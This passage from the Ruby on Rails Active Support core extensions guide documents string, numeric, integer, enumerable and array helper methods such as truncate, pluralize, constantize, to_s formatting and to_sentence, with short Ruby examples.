`active_support/core_ext/string/filters.rb`. + +### `truncate` + +The method `truncate` returns a copy of its receiver truncated after a given `length`: + +```ruby +"Oh dear! Oh dear! I shall be late!".truncate(20) +# => "Oh dear! Oh dear!..." +``` + +Ellipsis can be customized with the `:omission` option: + +```ruby +"Oh dear! Oh dear! I shall be late!".truncate(20, omission: '…') +# => "Oh dear! Oh …" +``` + +Note in particular that truncation takes into account the length of the omission string. + +Pass a `:separator` to truncate the string at a natural break: + +```ruby +"Oh dear! Oh dear! I shall be late!".truncate(18) +# => "Oh dear! Oh dea..." +"Oh dear! Oh dear! I shall be late!".truncate(18, separator: ' ') +# => "Oh dear! Oh..." +``` + +The option `:separator` can be a regexp: + +```ruby +"Oh dear! Oh dear! I shall be late!".truncate(18, separator: /\s/) +# => "Oh dear! Oh..." +``` + +In above examples "dear" gets cut first, but then `:separator` prevents it. + +NOTE: Defined in `active_support/core_ext/string/filters.rb`. + +### `truncate_words` + +The method `truncate_words` returns a copy of its receiver truncated after a given number of words: + +```ruby +"Oh dear! Oh dear! I shall be late!".truncate_words(4) +# => "Oh dear! Oh dear!..." +``` + +Ellipsis can be customized with the `:omission` option: + +```ruby +"Oh dear! Oh dear! I shall be late!".truncate_words(4, omission: '…') +# => "Oh dear! Oh dear!…" +``` + +Pass a `:separator` to truncate the string at a natural break: + +```ruby +"Oh dear! Oh dear! I shall be late!".truncate_words(3, separator: '!') +# => "Oh dear! Oh dear! I shall be late..." +``` + +The option `:separator` can be a regexp: + +```ruby +"Oh dear! Oh dear! I shall be late!".truncate_words(4, separator: /\s/) +# => "Oh dear! Oh dear!..." +``` + +NOTE: Defined in `active_support/core_ext/string/filters.rb`. + +### `inquiry` + +The `inquiry` method converts a string into a `StringInquirer` object making equality checks prettier. + +```ruby +"production".inquiry.production? # => true +"active".inquiry.inactive? # => false +``` + +### `starts_with?` and `ends_with?` + +Active Support defines 3rd person aliases of `String#start_with?` and `String#end_with?`: + +```ruby +"foo".starts_with?("f") # => true +"foo".ends_with?("o") # => true +``` + +NOTE: Defined in `active_support/core_ext/string/starts_ends_with.rb`. + +### `strip_heredoc` + +The method `strip_heredoc` strips indentation in heredocs. + +For example in + +```ruby +if options[:usage] + puts <<-USAGE.strip_heredoc + This command does such and such. + + Supported options are: + -h This message + ... + USAGE +end +``` + +the user would see the usage message aligned against the left margin. + +Technically, it looks for the least indented line in the whole string, and removes +that amount of leading whitespace. + +NOTE: Defined in `active_support/core_ext/string/strip.rb`. + +### `indent` + +Indents the lines in the receiver: + +```ruby +<<EOS.indent(2) +def some_method + some_code +end +EOS +# => + def some_method + some_code + end +``` + +The second argument, `indent_string`, specifies which indent string to use. The default is `nil`, which tells the method to make an educated guess peeking at the first indented line, and fallback to a space if there is none. + +```ruby +" foo".indent(2) # => " foo" +"foo\n\t\tbar".indent(2) # => "\t\tfoo\n\t\t\t\tbar" +"foo".indent(2, "\t") # => "\t\tfoo" +``` + +While `indent_string` is typically one space or tab, it may be any string. + +The third argument, `indent_empty_lines`, is a flag that says whether empty lines should be indented. Default is false. + +```ruby +"foo\n\nbar".indent(2) # => " foo\n\n bar" +"foo\n\nbar".indent(2, nil, true) # => " foo\n \n bar" +``` + +The `indent!` method performs indentation in-place. + +NOTE: Defined in `active_support/core_ext/string/indent.rb`. + +### Access + +#### `at(position)` + +Returns the character of the string at position `position`: + +```ruby +"hello".at(0) # => "h" +"hello".at(4) # => "o" +"hello".at(-1) # => "o" +"hello".at(10) # => nil +``` + +NOTE: Defined in `active_support/core_ext/string/access.rb`. + +#### `from(position)` + +Returns the substring of the string starting at position `position`: + +```ruby +"hello".from(0) # => "hello" +"hello".from(2) # => "llo" +"hello".from(-2) # => "lo" +"hello".from(10) # => nil +``` + +NOTE: Defined in `active_support/core_ext/string/access.rb`. + +#### `to(position)` + +Returns the substring of the string up to position `position`: + +```ruby +"hello".to(0) # => "h" +"hello".to(2) # => "hel" +"hello".to(-2) # => "hell" +"hello".to(10) # => "hello" +``` + +NOTE: Defined in `active_support/core_ext/string/access.rb`. + +#### `first(limit = 1)` + +The call `str.first(n)` is equivalent to `str.to(n-1)` if `n` > 0, and returns an empty string for `n` == 0. + +NOTE: Defined in `active_support/core_ext/string/access.rb`. + +#### `last(limit = 1)` + +The call `str.last(n)` is equivalent to `str.from(-n)` if `n` > 0, and returns an empty string for `n` == 0. + +NOTE: Defined in `active_support/core_ext/string/access.rb`. + +### Inflections + +#### `pluralize` + +The method `pluralize` returns the plural of its receiver: + +```ruby +"table".pluralize # => "tables" +"ruby".pluralize # => "rubies" +"equipment".pluralize # => "equipment" +``` + +As the previous example shows, Active Support knows some irregular plurals and uncountable nouns. Built-in rules can be extended in `config/initializers/inflections.rb`. That file is generated by the `rails` command and has instructions in comments. + +`pluralize` can also take an optional `count` parameter. If `count == 1` the singular form will be returned. For any other value of `count` the plural form will be returned: + +```ruby +"dude".pluralize(0) # => "dudes" +"dude".pluralize(1) # => "dude" +"dude".pluralize(2) # => "dudes" +``` + +Active Record uses this method to compute the default table name that corresponds to a model: + +```ruby +# active_record/model_schema.rb +def undecorated_table_name(class_name = base_class.name) + table_name = class_name.to_s.demodulize.underscore + pluralize_table_names ? table_name.pluralize : table_name +end +``` + +NOTE: Defined in `active_support/core_ext/string/inflections.rb`. + +#### `singularize` + +The inverse of `pluralize`: + +```ruby +"tables".singularize # => "table" +"rubies".singularize # => "ruby" +"equipment".singularize # => "equipment" +``` + +Associations compute the name of the corresponding default associated class using this method: + +```ruby +# active_record/reflection.rb +def derive_class_name + class_name = name.to_s.camelize + class_name = class_name.singularize if collection? + class_name +end +``` + +NOTE: Defined in `active_support/core_ext/string/inflections.rb`. + +#### `camelize` + +The method `camelize` returns its receiver in camel case: + +```ruby +"product".camelize # => "Product" +"admin_user".camelize # => "AdminUser" +``` + +As a rule of thumb you can think of this method as the one that transforms paths into Ruby class or module names, where slashes separate namespaces: + +```ruby +"backoffice/session".camelize # => "Backoffice::Session" +``` + +For example, Action Pack uses this method to load the class that provides a certain session store: + +```ruby +# action_controller/metal/session_management.rb +def session_store=(store) + @@session_store = store.is_a?(Symbol) ? + ActionDispatch::Session.const_get(store.to_s.camelize) : + store +end +``` + +`camelize` accepts an optional argument, it can be `:upper` (default), or `:lower`. With the latter the first letter becomes lowercase: + +```ruby +"visual_effect".camelize(:lower) # => "visualEffect" +``` + +That may be handy to compute method names in a language that follows that convention, for example JavaScript. + +INFO: As a rule of thumb you can think of `camelize` as the inverse of `underscore`, though there are cases where that does not hold: `"SSLError".underscore.camelize` gives back `"SslError"`. To support cases such as this, Active Support allows you to specify acronyms in `config/initializers/inflections.rb`: + +```ruby +ActiveSupport::Inflector.inflections do |inflect| + inflect.acronym 'SSL' +end + +"SSLError".underscore.camelize # => "SSLError" +``` + +`camelize` is aliased to `camelcase`. + +NOTE: Defined in `active_support/core_ext/string/inflections.rb`. + +#### `underscore` + +The method `underscore` goes the other way around, from camel case to paths: + +```ruby +"Product".underscore # => "product" +"AdminUser".underscore # => "admin_user" +``` + +Also converts "::" back to "/": + +```ruby +"Backoffice::Session".underscore # => "backoffice/session" +``` + +and understands strings that start with lowercase: + +```ruby +"visualEffect".underscore # => "visual_effect" +``` + +`underscore` accepts no argument though. + +Rails class and module autoloading uses `underscore` to infer the relative path without extension of a file that would define a given missing constant: + +```ruby +# active_support/dependencies.rb +def load_missing_constant(from_mod, const_name) + ... + qualified_name = qualified_name_for from_mod, const_name + path_suffix = qualified_name.underscore + ... +end +``` + +INFO: As a rule of thumb you can think of `underscore` as the inverse of `camelize`, though there are cases where that does not hold. For example, `"SSLError".underscore.camelize` gives back `"SslError"`. + +NOTE: Defined in `active_support/core_ext/string/inflections.rb`. + +#### `titleize` + +The method `titleize` capitalizes the words in the receiver: + +```ruby +"alice in wonderland".titleize # => "Alice In Wonderland" +"fermat's enigma".titleize # => "Fermat's Enigma" +``` + +`titleize` is aliased to `titlecase`. + +NOTE: Defined in `active_support/core_ext/string/inflections.rb`. + +#### `dasherize` + +The method `dasherize` replaces the underscores in the receiver with dashes: + +```ruby +"name".dasherize # => "name" +"contact_data".dasherize # => "contact-data" +``` + +The XML serializer of models uses this method to dasherize node names: + +```ruby +# active_model/serializers/xml.rb +def reformat_name(name) + name = name.camelize if camelize? + dasherize? ? name.dasherize : name +end +``` + +NOTE: Defined in `active_support/core_ext/string/inflections.rb`. + +#### `demodulize` + +Given a string with a qualified constant name, `demodulize` returns the very constant name, that is, the rightmost part of it: + +```ruby +"Product".demodulize # => "Product" +"Backoffice::UsersController".demodulize # => "UsersController" +"Admin::Hotel::ReservationUtils".demodulize # => "ReservationUtils" +"::Inflections".demodulize # => "Inflections" +"".demodulize # => "" + +``` + +Active Record for example uses this method to compute the name of a counter cache column: + +```ruby +# active_record/reflection.rb +def counter_cache_column + if options[:counter_cache] == true + "#{active_record.name.demodulize.underscore.pluralize}_count" + elsif options[:counter_cache] + options[:counter_cache] + end +end +``` + +NOTE: Defined in `active_support/core_ext/string/inflections.rb`. + +#### `deconstantize` + +Given a string with a qualified constant reference expression, `deconstantize` removes the rightmost segment, generally leaving the name of the constant's container: + +```ruby +"Product".deconstantize # => "" +"Backoffice::UsersController".deconstantize # => "Backoffice" +"Admin::Hotel::ReservationUtils".deconstantize # => "Admin::Hotel" +``` + +NOTE: Defined in `active_support/core_ext/string/inflections.rb`. + +#### `parameterize` + +The method `parameterize` normalizes its receiver in a way that can be used in pretty URLs. + +```ruby +"John Smith".parameterize # => "john-smith" +"Kurt Gödel".parameterize # => "kurt-godel" +``` + +To preserve the case of the string, set the `preserve_case` argument to true. By default, `preserve_case` is set to false. + +```ruby +"John Smith".parameterize(preserve_case: true) # => "John-Smith" +"Kurt Gödel".parameterize(preserve_case: true) # => "Kurt-Godel" +``` + +To use a custom separator, override the `separator` argument. + +```ruby +"John Smith".parameterize(separator: "_") # => "john\_smith" +"Kurt Gödel".parameterize(separator: "_") # => "kurt\_godel" +``` + +In fact, the result string is wrapped in an instance of `ActiveSupport::Multibyte::Chars`. + +NOTE: Defined in `active_support/core_ext/string/inflections.rb`. + +#### `tableize` + +The method `tableize` is `underscore` followed by `pluralize`. + +```ruby +"Person".tableize # => "people" +"Invoice".tableize # => "invoices" +"InvoiceLine".tableize # => "invoice_lines" +``` + +As a rule of thumb, `tableize` returns the table name that corresponds to a given model for simple cases. The actual implementation in Active Record is not straight `tableize` indeed, because it also demodulizes the class name and checks a few options that may affect the returned string. + +NOTE: Defined in `active_support/core_ext/string/inflections.rb`. + +#### `classify` + +The method `classify` is the inverse of `tableize`. It gives you the class name corresponding to a table name: + +```ruby +"people".classify # => "Person" +"invoices".classify # => "Invoice" +"invoice_lines".classify # => "InvoiceLine" +``` + +The method understands qualified table names: + +```ruby +"highrise_production.companies".classify # => "Company" +``` + +Note that `classify` returns a class name as a string. You can get the actual class object invoking `constantize` on it, explained next. + +NOTE: Defined in `active_support/core_ext/string/inflections.rb`. + +#### `constantize` + +The method `constantize` resolves the constant reference expression in its receiver: + +```ruby +"Integer".constantize # => Integer + +module M + X = 1 +end +"M::X".constantize # => 1 +``` + +If the string evaluates to no known constant, or its content is not even a valid constant name, `constantize` raises `NameError`. + +Constant name resolution by `constantize` starts always at the top-level `Object` even if there is no leading "::". + +```ruby +X = :in_Object +module M + X = :in_M + + X # => :in_M + "::X".constantize # => :in_Object + "X".constantize # => :in_Object (!) +end +``` + +So, it is in general not equivalent to what Ruby would do in the same spot, had a real constant be evaluated. + +Mailer test cases obtain the mailer being tested from the name of the test class using `constantize`: + +```ruby +# action_mailer/test_case.rb +def determine_default_mailer(name) + name.sub(/Test$/, '').constantize +rescue NameError => e + raise NonInferrableMailerError.new(name) +end +``` + +NOTE: Defined in `active_support/core_ext/string/inflections.rb`. + +#### `humanize` + +The method `humanize` tweaks an attribute name for display to end users. + +Specifically performs these transformations: + + * Applies human inflection rules to the argument. + * Deletes leading underscores, if any. + * Removes a "_id" suffix if present. + * Replaces underscores with spaces, if any. + * Downcases all words except acronyms. + * Capitalizes the first word. + +The capitalization of the first word can be turned off by setting the +`:capitalize` option to false (default is true). + +```ruby +"name".humanize # => "Name" +"author_id".humanize # => "Author" +"author_id".humanize(capitalize: false) # => "author" +"comments_count".humanize # => "Comments count" +"_id".humanize # => "Id" +``` + +If "SSL" was defined to be an acronym: + +```ruby +'ssl_error'.humanize # => "SSL error" +``` + +The helper method `full_messages` uses `humanize` as a fallback to include +attribute names: + +```ruby +def full_messages + map { |attribute, message| full_message(attribute, message) } +end + +def full_message + ... + attr_name = attribute.to_s.tr('.', '_').humanize + attr_name = @base.class.human_attribute_name(attribute, default: attr_name) + ... +end +``` + +NOTE: Defined in `active_support/core_ext/string/inflections.rb`. + +#### `foreign_key` + +The method `foreign_key` gives a foreign key column name from a class name. To do so it demodulizes, underscores, and adds "_id": + +```ruby +"User".foreign_key # => "user_id" +"InvoiceLine".foreign_key # => "invoice_line_id" +"Admin::Session".foreign_key # => "session_id" +``` + +Pass a false argument if you do not want the underscore in "_id": + +```ruby +"User".foreign_key(false) # => "userid" +``` + +Associations use this method to infer foreign keys, for example `has_one` and `has_many` do this: + +```ruby +# active_record/associations.rb +foreign_key = options[:foreign_key] || reflection.active_record.name.foreign_key +``` + +NOTE: Defined in `active_support/core_ext/string/inflections.rb`. + +### Conversions + +#### `to_date`, `to_time`, `to_datetime` + +The methods `to_date`, `to_time`, and `to_datetime` are basically convenience wrappers around `Date._parse`: + +```ruby +"2010-07-27".to_date # => Tue, 27 Jul 2010 +"2010-07-27 23:37:00".to_time # => 2010-07-27 23:37:00 +0200 +"2010-07-27 23:37:00".to_datetime # => Tue, 27 Jul 2010 23:37:00 +0000 +``` + +`to_time` receives an optional argument `:utc` or `:local`, to indicate which time zone you want the time in: + +```ruby +"2010-07-27 23:42:00".to_time(:utc) # => 2010-07-27 23:42:00 UTC +"2010-07-27 23:42:00".to_time(:local) # => 2010-07-27 23:42:00 +0200 +``` + +Default is `:local`. + +Please refer to the documentation of `Date._parse` for further details. + +INFO: The three of them return `nil` for blank receivers. + +NOTE: Defined in `active_support/core_ext/string/conversions.rb`. + +Extensions to `Numeric` +----------------------- + +### Bytes + +All numbers respond to these methods: + +```ruby +bytes +kilobytes +megabytes +gigabytes +terabytes +petabytes +exabytes +``` + +They return the corresponding amount of bytes, using a conversion factor of 1024: + +```ruby +2.kilobytes # => 2048 +3.megabytes # => 3145728 +3.5.gigabytes # => 3758096384 +-4.exabytes # => -4611686018427387904 +``` + +Singular forms are aliased so you are able to say: + +```ruby +1.megabyte # => 1048576 +``` + +NOTE: Defined in `active_support/core_ext/numeric/bytes.rb`. + +### Time + +Enables the use of time calculations and declarations, like `45.minutes + 2.hours + 4.weeks`. + +These methods use Time#advance for precise date calculations when using from_now, ago, etc. +as well as adding or subtracting their results from a Time object. For example: + +```ruby +# equivalent to Time.current.advance(months: 1) +1.month.from_now + +# equivalent to Time.current.advance(weeks: 2) +2.weeks.from_now + +# equivalent to Time.current.advance(months: 4, weeks: 5) +(4.months + 5.weeks).from_now +``` + +WARNING. For other durations please refer to the time extensions to `Integer`. + +NOTE: Defined in `active_support/core_ext/numeric/time.rb`. + +### Formatting + +Enables the formatting of numbers in a variety of ways. + +Produce a string representation of a number as a telephone number: + +```ruby +5551234.to_s(:phone) +# => 555-1234 +1235551234.to_s(:phone) +# => 123-555-1234 +1235551234.to_s(:phone, area_code: true) +# => (123) 555-1234 +1235551234.to_s(:phone, delimiter: " ") +# => 123 555 1234 +1235551234.to_s(:phone, area_code: true, extension: 555) +# => (123) 555-1234 x 555 +1235551234.to_s(:phone, country_code: 1) +# => +1-123-555-1234 +``` + +Produce a string representation of a number as currency: + +```ruby +1234567890.50.to_s(:currency) # => $1,234,567,890.50 +1234567890.506.to_s(:currency) # => $1,234,567,890.51 +1234567890.506.to_s(:currency, precision: 3) # => $1,234,567,890.506 +``` + +Produce a string representation of a number as a percentage: + +```ruby +100.to_s(:percentage) +# => 100.000% +100.to_s(:percentage, precision: 0) +# => 100% +1000.to_s(:percentage, delimiter: '.', separator: ',') +# => 1.000,000% +302.24398923423.to_s(:percentage, precision: 5) +# => 302.24399% +``` + +Produce a string representation of a number in delimited form: + +```ruby +12345678.to_s(:delimited) # => 12,345,678 +12345678.05.to_s(:delimited) # => 12,345,678.05 +12345678.to_s(:delimited, delimiter: ".") # => 12.345.678 +12345678.to_s(:delimited, delimiter: ",") # => 12,345,678 +12345678.05.to_s(:delimited, separator: " ") # => 12,345,678 05 +``` + +Produce a string representation of a number rounded to a precision: + +```ruby +111.2345.to_s(:rounded) # => 111.235 +111.2345.to_s(:rounded, precision: 2) # => 111.23 +13.to_s(:rounded, precision: 5) # => 13.00000 +389.32314.to_s(:rounded, precision: 0) # => 389 +111.2345.to_s(:rounded, significant: true) # => 111 +``` + +Produce a string representation of a number as a human-readable number of bytes: + +```ruby +123.to_s(:human_size) # => 123 Bytes +1234.to_s(:human_size) # => 1.21 KB +12345.to_s(:human_size) # => 12.1 KB +1234567.to_s(:human_size) # => 1.18 MB +1234567890.to_s(:human_size) # => 1.15 GB +1234567890123.to_s(:human_size) # => 1.12 TB +1234567890123456.to_s(:human_size) # => 1.1 PB +1234567890123456789.to_s(:human_size) # => 1.07 EB +``` + +Produce a string representation of a number in human-readable words: + +```ruby +123.to_s(:human) # => "123" +1234.to_s(:human) # => "1.23 Thousand" +12345.to_s(:human) # => "12.3 Thousand" +1234567.to_s(:human) # => "1.23 Million" +1234567890.to_s(:human) # => "1.23 Billion" +1234567890123.to_s(:human) # => "1.23 Trillion" +1234567890123456.to_s(:human) # => "1.23 Quadrillion" +``` + +NOTE: Defined in `active_support/core_ext/numeric/conversions.rb`. + +Extensions to `Integer` +----------------------- + +### `multiple_of?` + +The method `multiple_of?` tests whether an integer is multiple of the argument: + +```ruby +2.multiple_of?(1) # => true +1.multiple_of?(2) # => false +``` + +NOTE: Defined in `active_support/core_ext/integer/multiple.rb`. + +### `ordinal` + +The method `ordinal` returns the ordinal suffix string corresponding to the receiver integer: + +```ruby +1.ordinal # => "st" +2.ordinal # => "nd" +53.ordinal # => "rd" +2009.ordinal # => "th" +-21.ordinal # => "st" +-134.ordinal # => "th" +``` + +NOTE: Defined in `active_support/core_ext/integer/inflections.rb`. + +### `ordinalize` + +The method `ordinalize` returns the ordinal string corresponding to the receiver integer. In comparison, note that the `ordinal` method returns **only** the suffix string. + +```ruby +1.ordinalize # => "1st" +2.ordinalize # => "2nd" +53.ordinalize # => "53rd" +2009.ordinalize # => "2009th" +-21.ordinalize # => "-21st" +-134.ordinalize # => "-134th" +``` + +NOTE: Defined in `active_support/core_ext/integer/inflections.rb`. + +### Time + +Enables the use of time calculations and declarations, like `4.months + 5.years`. + +These methods use Time#advance for precise date calculations when using from_now, ago, etc. +as well as adding or subtracting their results from a Time object. For example: + +```ruby +# equivalent to Time.current.advance(months: 1) +1.month.from_now + +# equivalent to Time.current.advance(years: 2) +2.years.from_now + +# equivalent to Time.current.advance(months: 4, years: 5) +(4.months + 5.years).from_now +``` + +WARNING. For other durations please refer to the time extensions to `Numeric`. + +NOTE: Defined in `active_support/core_ext/integer/time.rb`. + +Extensions to `BigDecimal` +-------------------------- +### `to_s` + +The method `to_s` provides a default specifier of "F". This means that a simple call to `to_s` will result in floating point representation instead of engineering notation: + +```ruby +BigDecimal(5.00, 6).to_s # => "5.0" +``` + +and that symbol specifiers are also supported: + +```ruby +BigDecimal(5.00, 6).to_s(:db) # => "5.0" +``` + +Engineering notation is still supported: + +```ruby +BigDecimal(5.00, 6).to_s("e") # => "0.5E1" +``` + +Extensions to `Enumerable` +-------------------------- + +### `sum` + +The method `sum` adds the elements of an enumerable: + +```ruby +[1, 2, 3].sum # => 6 +(1..100).sum # => 5050 +``` + +Addition only assumes the elements respond to `+`: + +```ruby +[[1, 2], [2, 3], [3, 4]].sum # => [1, 2, 2, 3, 3, 4] +%w(foo bar baz).sum # => "foobarbaz" +{a: 1, b: 2, c: 3}.sum # => [:b, 2, :c, 3, :a, 1] +``` + +The sum of an empty collection is zero by default, but this is customizable: + +```ruby +[].sum # => 0 +[].sum(1) # => 1 +``` + +If a block is given, `sum` becomes an iterator that yields the elements of the collection and sums the returned values: + +```ruby +(1..5).sum {|n| n * 2 } # => 30 +[2, 4, 6, 8, 10].sum # => 30 +``` + +The sum of an empty receiver can be customized in this form as well: + +```ruby +[].sum(1) {|n| n**3} # => 1 +``` + +NOTE: Defined in `active_support/core_ext/enumerable.rb`. + +### `index_by` + +The method `index_by` generates a hash with the elements of an enumerable indexed by some key. + +It iterates through the collection and passes each element to a block. The element will be keyed by the value returned by the block: + +```ruby +invoices.index_by(&:number) +# => {'2009-032' => <Invoice ...>, '2009-008' => <Invoice ...>, ...} +``` + +WARNING. Keys should normally be unique. If the block returns the same value for different elements no collection is built for that key. The last item will win. + +NOTE: Defined in `active_support/core_ext/enumerable.rb`. + +### `index_with` + +The method `index_with` generates a hash with the elements of an enumerable as keys. The value +is either a passed default or returned in a block. + +```ruby +%i( title body created_at ).index_with { |attr_name| post.public_send(attr_name) } +# => { title: "hey", body: "what's up?", … } + +WEEKDAYS.index_with(Interval.all_day) +# => { monday: [ 0, 1440 ], … } +``` + +NOTE: Defined in `active_support/core_ext/enumerable.rb`. + +### `many?` + +The method `many?` is shorthand for `collection.size > 1`: + +```erb +<% if pages.many? %> + <%= pagination_links %> +<% end %> +``` + +If an optional block is given, `many?` only takes into account those elements that return true: + +```ruby +@see_more = videos.many? {|video| video.category == params[:category]} +``` + +NOTE: Defined in `active_support/core_ext/enumerable.rb`. + +### `exclude?` + +The predicate `exclude?` tests whether a given object does **not** belong to the collection. It is the negation of the built-in `include?`: + +```ruby +to_visit << node if visited.exclude?(node) +``` + +NOTE: Defined in `active_support/core_ext/enumerable.rb`. + +### `without` + +The method `without` returns a copy of an enumerable with the specified elements +removed: + +```ruby +["David", "Rafael", "Aaron", "Todd"].without("Aaron", "Todd") # => ["David", "Rafael"] +``` + +NOTE: Defined in `active_support/core_ext/enumerable.rb`. + +### `pluck` + +The method `pluck` returns an array based on the given key: + +```ruby +[{ name: "David" }, { name: "Rafael" }, { name: "Aaron" }].pluck(:name) # => ["David", "Rafael", "Aaron"] +``` + +NOTE: Defined in `active_support/core_ext/enumerable.rb`. + +Extensions to `Array` +--------------------- + +### Accessing + +Active Support augments the API of arrays to ease certain ways of accessing them. For example, `to` returns the subarray of elements up to the one at the passed index: + +```ruby +%w(a b c d).to(2) # => ["a", "b", "c"] +[].to(7) # => [] +``` + +Similarly, `from` returns the tail from the element at the passed index to the end. If the index is greater than the length of the array, it returns an empty array. + +```ruby +%w(a b c d).from(2) # => ["c", "d"] +%w(a b c d).from(10) # => [] +[].from(0) # => [] +``` + +The methods `second`, `third`, `fourth`, and `fifth` return the corresponding element, as do `second_to_last` and `third_to_last` (`first` and `last` are built-in). Thanks to social wisdom and positive constructiveness all around, `forty_two` is also available. + +```ruby +%w(a b c d).third # => "c" +%w(a b c d).fifth # => nil +``` + +NOTE: Defined in `active_support/core_ext/array/access.rb`. + +### Extracting + +The method `extract!` removes and returns the elements for which the block returns a true value. +If no block is given, an Enumerator is returned instead. + +```ruby +numbers = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] +odd_numbers = numbers.extract! { |number| number.odd? } # => [1, 3, 5, 7, 9] +numbers # => [0, 2, 4, 6, 8] +``` + +NOTE: Defined in `active_support/core_ext/array/extract.rb`. + +### Options Extraction + +When the last argument in a method call is a hash, except perhaps for a `&block` argument, Ruby allows you to omit the brackets: + +```ruby +User.exists?(email: params[:email]) +``` + +That syntactic sugar is used a lot in Rails to avoid positional arguments where there would be too many, offering instead interfaces that emulate named parameters. In particular it is very idiomatic to use a trailing hash for options. + +If a method expects a variable number of arguments and uses `*` in its declaration, however, such an options hash ends up being an item of the array of arguments, where it loses its role. + +In those cases, you may give an options hash a distinguished treatment with `extract_options!`. This method checks the type of the last item of an array. If it is a hash it pops it and returns it, otherwise it returns an empty hash. + +Let's see for example the definition of the `caches_action` controller macro: + +```ruby +def caches_action(*actions) + return unless cache_configured? + options = actions.extract_options! + ... +end +``` + +This method receives an arbitrary number of action names, and an optional hash of options as last argument. With the call to `extract_options!` you obtain the options hash and remove it from `actions` in a simple and explicit way. + +NOTE: Defined in `active_support/core_ext/array/extract_options.rb`. + +### Conversions + +#### `to_sentence` + +The method `to_sentence` turns an array into a string containing a sentence that enumerates its items: + +```ruby +%w().to_sentence # => "" +%w(Earth).to_sentence # => "Earth" +%w(Earth Wind).to_sentence # => "Earth and Wind" +%w(Earth Wind Fire).to_sentence # => "Earth, Wind, and Fire" +``` + +This method accepts three options: + +* `:two_words_connector`: What is used for arrays of length 2. Default is " and ". +* `:words_connector`: What is used to join the elements of arrays with 3 or more elements, except for the last two. Default is ", ". +* `:last_word_connector`: What is used to join the last items of an array with 3 or more elements. Default is ", and ". + +The defaults for these options can be localized, their keys are: + +| Option | I18n key | +| ---------------------- | ----------------------------------- | +| `:two_words_connector` | `support.array.two_words_connector` | +| `:words_connector` | `support.array.words_connector` | +| `:last_word_connector` | `support.array.last_word_connector` | + +NOTE: Defined in `active_support/core_ext/array/conversions.rb`. + +#### `to_formatted_s` + +The method `to_formatted_s` acts like `to_s` by default. + +If the array contains items that respond to `id`, however, the symbol +`:db` may be passed as argument. That's typically used with +collections of Active Record objects. Returned strings are: + +```ruby +[].to_formatted_s(:db) # => "null" +[user].to_formatted_s(:db) # => "8456" +invoice.lines.to_formatted_s(:db) # => "23,567,556,12" +``` + +Integers in the example above are supposed to come from the respective calls to `id`. + +NOTE: Defined in `active_support/core_ext/array/conversions.rb`. + +#### `to_xml` + +The method `to_xml` returns a string containing an XML representation of its receiver: + +```ruby +Contributor.limit(2).order(:rank).to_xml +# => +# <?xml version="1.0" encoding="UTF-8"?> +# <contributors type="array"> +# <contributor> +# <id type="integer">4356</id> +# <name>Jeremy Kemper</name> +# <rank type="integer">1</rank> +# <url-id>jeremy-kemper</url-id> +# </contributor> +# <contributor> +# <id type="integer">4404</id> +# <name>David Heinemeier Hansson</name> +# <rank type="integer">2</rank> +# <url-id>david-heinemeier-hansson</url-id> +# </contributor> +# </contributors> +``` + +To do so it sends `to_xml` to every item in turn, and collects the results under a root node. All items must respond to `to_xml`, an exception is raised otherwise. + +By default, the name of the root element is the underscored and dasherized plural of the name of the class of the first item, provided the rest of elements belong to that type (checked with `is_a?`) and they are not hashes. In the example above that's "contributors". + +If there's any element that does not belong to the type of the first one the root node becomes "objects": + +```ruby +[Contributor.first, Commit.first].to_xml +# => +# <?xml version="1.0" encoding="UTF-8"?> +# <objects type="array"> +# <object> +# <id type="integer">4583</id> +# <name>Aaron Batalion</name> +# <rank type="integer">53</rank> +# <url-id>aaron-batalion</url-id> +# </object> +# <object> +# <author>Joshua Peek</author> +# <authored-timestamp type="datetime">2009-09-02T16:44:36Z</authored-timestamp> +# <branch>origin/master</branch> +# <committed-timestamp type="datetime">2009-09-02T16:44:36Z</committed-timestamp> +# <committer>Joshua Peek</committer> +# <git-show nil="true"></git-show> +# <id type="integer">190316</id> +# <imported-from-svn type="boolean">false</imported-from-svn> +# <message>Kill AMo observing wrap_with_notifications since ARes was only using it</message> +# <sha1>723a47bfb3708f968821bc969a9a3fc873a3ed58</sha1> +# </object> +# </objects> +``` + +If the receiver is an array of hashes the root element is by default also "objects": + +```ruby +[{a: 1, b: 2}, {c: 3}].to_xml +# => +# <?xml version="1.0" encoding="UTF-8"?> +# <objects type="array"> +# <object> +# <b type="integer">2</b> +# <a type="integer">1</a> +# </object> +# <object> +# <c type="integer">3</c> +# </object> +# </objects> +``` + +WARNING. If the collection is empty the root element is by default "nil-classes". That's a gotcha, for example the root element of the list of contributors above would not be "contributors" if the collection was empty, but "nil-classes". You may use the `:root` option to ensure a consistent root element. + +The name of children nodes is by default the name of the root node singularized. In the examples above we've seen "contributor" and "object". The option `:children` allows you to set these node names. + +The default XML builder is a fresh instance of `Builder::XmlMarkup`. You can configure your own builder via the `:builder` option. The method also accepts options like `:dasherize` and friends, they are forwarded to the builder: + +```ruby +Contributor.limit(2).order(:rank).to_xml(skip_types: true) +# => +# <?xml version="1.0" encoding="UTF-8"?> +# <contributors> +# <contributor> +# <id>4356</id> +# <name>Jeremy Kemper</name> +# <rank>1</rank> +# <url-id>jeremy-kemper</url-id> +# </contributor> +# <contributor> +# <id>4404</id> +# <name>David Heinemeier Hansson</name> +# <rank>2</rank> +# <url-id>david-heinemeier-hansson</url-id> +# </contributor> +# </contributors> +``` + +NOTE: Defined in `active_support/core_ext/array/conversions.rb`. + +### Wrapping + +The method `Array.wrap` wraps its argument in an array unless it is already an array (or array-like). + +Specifically: + +* If the argument is `nil` an empty array is returned. +* Otherwise, if the argument responds to `to_ary` it is invoked, and if the value of `to_ary` is not `nil`, it is returned. +* Otherwise, an array with the argument as its single element is returned. + +```ruby +Array.wrap(nil) # => [] +Array.wrap([1, 2, 3]) # => [1, 2, 3] +Array.wrap(0) # => [0] +``` + +This method is similar in purpose to `Kernel#Array`, but there are some differences: + +* If the argument responds to `to_ary` the method is invoked. `Kernel#Array` moves on to try `to_a` if the returned value is `nil`, but `Array.wrap` returns an array with the argument as its single element right away. +* If the returned value from `to_ary` is neither `nil` nor an `Array` object, `Kernel#Array` raises an exception, while `Array.wrap` does not, it just returns the value. +* It does not call `to_a` on the argument, if the argument does not respond to `to_ary` it returns an array with the argument as its single element. + +The last point is particularly worth comparing for some enumerables: + +```ruby +Array.wrap(foo: :bar) # => [{:foo=>:bar}] +Array(foo: :bar) # => [[:foo, :bar]] +``` + +There's also a related idiom that uses the splat operator: + +```ruby +[*object] +``` + +which in Ruby 1.8 returns `[nil]` for `nil`, and calls to 